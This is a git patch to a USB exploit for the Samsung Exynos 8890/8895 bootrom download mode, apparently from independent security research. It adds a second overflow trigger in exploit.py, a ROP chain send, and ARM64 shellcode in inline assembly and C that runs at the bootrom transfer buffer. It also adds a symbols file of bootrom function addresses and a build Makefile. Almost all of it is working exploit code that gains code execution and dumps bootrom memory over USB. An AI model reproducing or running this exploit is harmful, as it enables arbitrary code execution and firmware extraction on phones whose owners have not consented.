From a9def4a27da98d5b42912977f1189fd2d8a254df Mon Sep 17 00:00:00 2001 From: Eljakim Herrewijnen Date: Tue, 23 Jul 2024 00:08:17 +0200 Subject: [PATCH] found another bug --- Makefile | 17 ++++++ dwc3.bin | Bin 0 -> 220 bytes dwc3.elf | Bin 0 -> 7536 bytes dwc3.o | Bin 0 -> 1488 bytes entry.S | 2 + entry.o | Bin 0 -> 640 bytes exploit.py | 148 +++++++++++++++++++++++++++++++++++++++++++++++---- symbols.txt | 5 ++ test_dwc3.c | 57 ++++++++++++++++++++ test_dwc3.ld | 14 +++++ 10 files changed, 233 insertions(+), 10 deletions(-) create mode 100644 Makefile create mode 100755 dwc3.bin create mode 100755 dwc3.elf create mode 100644 dwc3.o create mode 100644 entry.S create mode 100644 entry.o create mode 100644 symbols.txt create mode 100644 test_dwc3.c create mode 100644 test_dwc3.ld diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..28d2fe1 --- /dev/null +++ b/Makefile @@ -0,0 +1,17 @@ +ifeq ($(ANDROID_NDK_ROOT),) +$(error Error : Set the env variable 'ANDROID_NDK_ROOT' with the path of the Android NDK (version 20)) +endif + +CC := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android27-clang +AR := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ar +OBJCOPY := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-objcopy +LD := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ld.bfd + +#==================Target Samsung S7 (8890)================== +CFLAGS_SAMSUNGS7 = -Os + +dwc3: + $(CC) entry.S -c -o entry.o $(CFLAGS_SAMSUNGS7) + $(CC) $(CFLAGS_SAMSUNGS7) -c test_dwc3.c -o dwc3.o + $(LD) -T test_dwc3.ld entry.o dwc3.o -o dwc3.elf --just-symbols=symbols.txt + $(OBJCOPY) -O binary dwc3.elf dwc3.bin diff --git a/dwc3.bin b/dwc3.bin new file mode 100755 index 0000000000000000000000000000000000000000..e800078bf9461b6c1bde9b6998bd2b4010f36e95 GIT binary patch literal 220 zcmdOAU=aDrFZ<(*KjTUfhW4NkhXqA{tC?2*ZDyF*$jD&wnVC`RE3>?o14Bd5lo|EY zS1>VfbJRLa=3sQN+{(rvSkEMy-ND3Q$@u?&NCr?%hY*A1-)g6oU;G_cer0$5aez7g z+Gl>bACrM*Gcqtt2nL$3D4;MAWS$Zb|E*?R`PZ3YVm;7|{Zs3w9|ziz!Q@~m&&yD_ zfPo=I0jS22u_5S0bN%$6|No2st#(}bncWF&?%(SDEB`VxOnmYG|8xe1hD!_#^4A^! M-TJrs;0lnv0Ap5Gng9R* literal 0 HcmV?d00001 diff --git a/dwc3.elf b/dwc3.elf new file mode 100755 index 0000000000000000000000000000000000000000..61b2b6fef0ae673b2ec9ae5c071908ccc09d93f9 GIT binary patch literal 7536 zcmeHMO-$546n^a@V2tt;j2M3?MkA2eExY`!r(KAi))0{pZ?!)Ii|)2-JFKj$S(Jku zC1{o-M>g@M#)}DhlCuX+9=w=%)Bp({nswTp0$YTG=b5B^Gv9mfd(*GeUS9D=@+Qx5 z;13=?fVXPrc^8XQ$FFmA;$cI;6Hh&ayx3!VE;6g;`Sx3T)#+QPvcv5kSg)_iJ9^Q4 zw3~UE0!#s>08@Y|z!YE#Fa?+bOaZ0XC4-xanQFJ;(E429X)ZF8+)}}EUofzqVZ{bsgaAv-q%A* zkw5)lfrl7Zsf?#c%t9-~oWgKn04{GN*N+t3M`5Qh!WP6&vY-X$V$ypno9Rt91)n zS}~@C9J1_bg2zNj91^-x7-#M4;jmIA5T{IYDvfM&#?p|enVB#)&9s(Mrj2kqoy%Oy zTIPMEVId+7>Vt}^^(qlXos6Q%A-yju^$tb{^Z{iMsahn`r$k~>x6rk_m1J__R<*93 zGrIS^nS)cW+d}&?`@JF3jR_97hf@c?D?$9Y2M}+7=hPv1+aWxH7th06&+grP{<;AF z6%x`)dOtpXkETS3Z6^C%ze)jWhA95zaV?%COP5Ed{CBB)g2ulo)W)Z1{6`uuPc3LRwDN6|Bgb3U(Ty zEKDIRBSX)c(*~B+naN3H?S;XNt;#4zsO1znYiZ)kkV6G7r;M_a?A4L6r5HBxU42KTsTNP)o9{P)sr1G;Bxw|D2iXTQ%EV6F?S zJ88ZY!2SN$D=ljC| literal 0 HcmV?d00001 diff --git a/dwc3.o b/dwc3.o new file mode 100644 index 0000000000000000000000000000000000000000..aff8e129f78ab69e6fe85dd21a1695b0e1bdf10d GIT binary patch literal 1488 zcmbW0&rcIU6vy9g3DjRfQ6h;^RzqSTVY_XiW%aU!h!>Ouk$7A8$COsK-MTw1kj8+~ zL=GNkF!5$c^g#arqBr#qFfkqoM~_|&kl$%M%BJI$_=@)e%Fj6%*$Z$(2Z8<} z1y*Osk~dpCoC!WtHiDcYZ+F6l6~1?2jR%>lR%g>hv(^K$R~oPEPbVt}T@#020_x6Q z_qD?f;!XCn{($&j2Pjj&8)SGTuHsEVd4+gTe>&2gY+1$ZaNe<>AOj0gDPblw-H2#WO;5#8YRnvoNs&Y>ZpO6)(v4_zM2pJOpb%-E&k#Tn0oWD&#JD=VYc!(KXA&ujIyENk$2@kTGraY^ATlgB|)Tfix zG`;rm(?0&e$4~hA(bM` zwGhffmNX2AIU6JK?)`_uF4l|%0+)59QX3cHLSA){W&%boR?S5tCK})%qo|r1)>K0W z(ZvqdXkO0J+?<2~Q;fjCk|_Ci{9pA;vMSJKWtzdQmN{~){{%f_%KT?d1q!{8*sZ7L z)&FfNq-$Fl<-4qv*Xa!j>Q7Ol2l^-^ah43~(RvbnY@^#$qs-X* literal 0 HcmV?d00001 diff --git a/entry.S b/entry.S new file mode 100644 index 0000000..5dea2d7 --- /dev/null +++ b/entry.S @@ -0,0 +1,2 @@ +start: + b main \ No newline at end of file diff --git a/entry.o b/entry.o new file mode 100644 index 0000000000000000000000000000000000000000..0c578caa377eb87a0e0541743edd0d2012bb0a95 GIT binary patch literal 640 zcmb<-^>JfjWMqH=MuzPS2p&unNFxb4fQ20x*dT%;NUAWH=3o&f3~?SD;zB@i0Swg$ z0V$w6m=RnC2EC%xoJ75n)QS>@;*!Lo5{BHw%sd9Yy!?_>J$JuQU7%ocHiKSqNl{5+ z5|FOU1<@)MdIrd*kj+*H>O^r5)T9GY+6GF)D5PKn3$X!7kQj(Y1`bdT3$h@Pjm`(@ zMHd5USpgz|KmtNBumWjNEO0>iFmZ7pAKgtLB`#2P=oGqIeV_u&*kxewfND&D(ja}H Ia6-2q0KIw|MgRZ+ literal 0 HcmV?d00001 diff --git a/exploit.py b/exploit.py index 65adbf7..0275fd9 100644 --- a/exploit.py +++ b/exploit.py @@ -1,6 +1,8 @@ import usb.core import usb.util -import struct, sys, usb1, libusb1, ctypes +import struct, sys, usb1, libusb1, ctypes, usb +from keystone import * +from capstone import * # from ghidra_assistant.utils.utils import * def p32(x): @@ -27,7 +29,7 @@ BOOTROM_SIZE = 0x20000 #128Kb TARGET_OFFSETS = { # XFER_BUFFER, RA_PTR, XFER_END_SIZE - "8890": (0x02021800, 0x02020F08, 0x02070000), + "8890": (0x02021800, 0x02020F08, 0x02070000), "8895": (0x02021800, 0x02020F18, 0x02070000) } @@ -72,6 +74,26 @@ class ExynosDevice(): res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0) assert(res == 0) return transfered + + def test_bug_2(self): + # Also bug here + # payload = p32(1) + p32(CHUNK_SIZE + 0x2001) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0) + # self.write(payload, MAX_PAYLOAD_SIZE) + # self.write(b"\xaa" * CHUNK_SIZE, CHUNK_SIZE) + + transferred = ctypes.c_int() + bug_payload = p32(0) + p32(MAX_PAYLOAD_SIZE + 0x100) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0) + bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload)) + res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0) + assert res == 0 + + payload = b"\xaa" * 0x200 + res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0) + assert res == 0 + + payload = b"\xaa" * (0x401 - (MAX_PAYLOAD_SIZE - 0x200)) + res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0) + pass def test_bug(self): # Start by sending a valid packet @@ -109,11 +131,6 @@ class ExynosDevice(): assert transferred.value == len(bug_payload), "Invalid transfered size" current_offset += len(bug_payload) - 8 # Remove header - # Send the actual payload - # res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0) - # assert res == 0, "Error sending payload" - # current_offset += len(payload) - cnt = 0 while True: if current_offset + CHUNK_SIZE >= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]: @@ -138,18 +155,129 @@ class ExynosDevice(): rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2) transferred = ctypes.c_int(0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0) - # assert transferred.value == len(rop_chain), "Error sending ROP chain" + assert res == 0, "Error sending ROP chain" - buf = ctypes.c_buffer(b"", 0x200000) - res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 1000) + # Send some data + p = b"\xaa" * 0x200 + transferred.value = 0 + res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100) + buf = ctypes.c_buffer(b"", 0x20000) + res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100) + # Should have received some bytes pass +ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN) +def usb_debug(): + shellcode = f""" + start: + adr x0, test_fun + ldr x0, [x0] + blr x0 + + mov w1, #0x20000 // size + mov w0, #0x0 // address + bl usb_send + mov x0, #0 + br x0 //reset + + #Setup read usb + mov w0, #0x2 + adr x1, shellcode_base + ldr x1, [x1] + mov w2, #0x02020000 + add w2, w2, #0x2000 + # endpoint, cb, buffer + adr x5, maybe_usb_setup_read + ldr x5, [x5] + blr x5 + + + # Get something?? arg0 is endpoint + mov w0, #0x2 + adr x1, maybe_read_size_endpoint + ldr x1, [x1] + blr x1 + + + # # Send some data from ROM + # mov w1, #0x200 // size + # mov w0, #0x0 // address + # bl usb_send + # mov x0, #0 + # br x0 //reset + + + # # dwc3_ep0_start_trans + # mov w1, w0 + # mov w0, #0x2 + # mov w2, #0x200 + # adr x5, dwc3_ep0_start_trans + # ldr x5, [x5] + # blr x5 + + # # Send some data from ROM + # mov w1, #0x200 // size + # mov w0, #0x0 // address + # bl usb_send + # mov x0, #0 + # br x0 //reset + + usb_send: + stp x29, x30, [sp,#-48]! + mov w3, #0x0 + bfxil w3, w1, #0, #24 + mov w1, #0xc12 + mov x29, sp + stp x19, x20, [sp,#16] + mov x5, #0xc834 + mov w20, #0x1 + movk x5, #0x1540, lsl #16 + ldr x2, [x29,#40] + mov x4, #0xc838 + orr w6, w1, w20 + movk x4, #0x1540, lsl #16 + mov x19, #0xc83c + movk x19, #0x1540, lsl #16 + stp w3, w1, [x2,#8] + mov w3, #0x406 + stp w0, wzr, [x2] + mov w0, w20 + ldr x1, [x29,#40] + strb w6, [x2,#12] + mov x2, #0x27c8 + str w1, [x5] + mov w1, #0x1388 + str wzr, [x4] + str w3, [x19] + blr x2 + mov w0, w20 + ldr w1, [x19] + ldp x19, x20, [sp,#16] + ldp x29, x30, [sp],#48 + ret + + usb_read_endpoint: .quad 0x00006654 + maybe_usb_setup_read: .quad 0x00006f88 + shellcode_base: .quad 0x02021800 + maybe_read_size_endpoint: .quad 0x00007a7c + dwc3_ep0_start_trans: .quad 0x0000791c + test_fun: .quad 0x000064e0 +""" + shellcode = ks.asm(shellcode, as_bytes=True)[0] + + shellcode = open("dwc3.bin", "rb").read() + + exynos = ExynosDevice() + exynos.exploit(shellcode) if __name__ == "__main__": + usb_debug() + sys.exit(0) # wait_for_device() exynos = ExynosDevice() + exynos.test_bug_2() path = "dump/exynos-usbdl/payloads/Exynos8890_dump_bootrom.bin" # path = "/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin" exynos.exploit(open(path, "rb").read()) diff --git a/symbols.txt b/symbols.txt new file mode 100644 index 0000000..ce55876 --- /dev/null +++ b/symbols.txt @@ -0,0 +1,5 @@ +maybe_usb_setup_read = 0x00006f88; +dwc3_ep0_start_trans = 0x0000791c; +usb_event_handler = 0x00007bac; +get_endpoint_buffer = 0x00007a7c; +sleep = 0x000027c8; \ No newline at end of file diff --git a/test_dwc3.c b/test_dwc3.c new file mode 100644 index 0000000..eb14a87 --- /dev/null +++ b/test_dwc3.c @@ -0,0 +1,57 @@ +#include + +// Create external function at 0x00006f88 +extern void maybe_usb_setup_read(char endpoint,void *fun,uint32_t target_buffer); +extern void dwc3_ep0_start_trans(char endpoint,uint32_t target_buf, uint32_t len); +extern int usb_event_handler(void); +extern void * get_endpoint_buffer(char endpoint); +extern void sleep(int endpoint,uint32_t timeout); + +#define recv_buffer 0x02021800 + 0x2000 +#define data_received 0x02021800 + 0x2004 + +// do { +// /* loops until image has been received */ +// usb_event_handler(); +// iVar2 = download_ready?(); #TODO, set some global to indicate readyness +// } while (iVar2 == 0); + +void recv_data_cb(uint32_t endpoint, uint32_t len){ + void *rbuf; + void *dest_buf = (void *)recv_buffer; + volatile void *dref = (void *)data_received; + + for(int i= 0; i < len; i++){ + rbuf = get_endpoint_buffer(2); + *(char *)dest_buf = *(char *)(void *)((int)rbuf + i); + } + // while(1){} + // asm("mov x0, #0x0"); + // asm("br x0"); + *(uint8_t *)dref = 3; +} + +void recv_data(){ + // Set data_received to 0 + // uint32_t *r = (uint32_t *) data_received; + // r = 0; + volatile void *dref = (void *)data_received; + *(uint8_t *)dref = 0; + + maybe_usb_setup_read(2, recv_data_cb, 1); + while(1){ + usb_event_handler(); + if(*(uint8_t *)dref == 3){ + break; + } + sleep(1, 10); + } +} + +int main() { + recv_data(); + // recv_data(); + // sleep(1, 5000); + asm("mov x0, #0x0"); + asm("br x0"); +} diff --git a/test_dwc3.ld b/test_dwc3.ld new file mode 100644 index 0000000..d2991ee --- /dev/null +++ b/test_dwc3.ld @@ -0,0 +1,14 @@ +MEMORY { + ROM (rwx): ORIGIN = 0x02021800, LENGTH = 0x1000 +} + +SECTIONS +{ + . = 0x02021800; + .text . : { + *(.text*) + *(.data*) + *(.rodata*) + } >ROM + +} \ No newline at end of file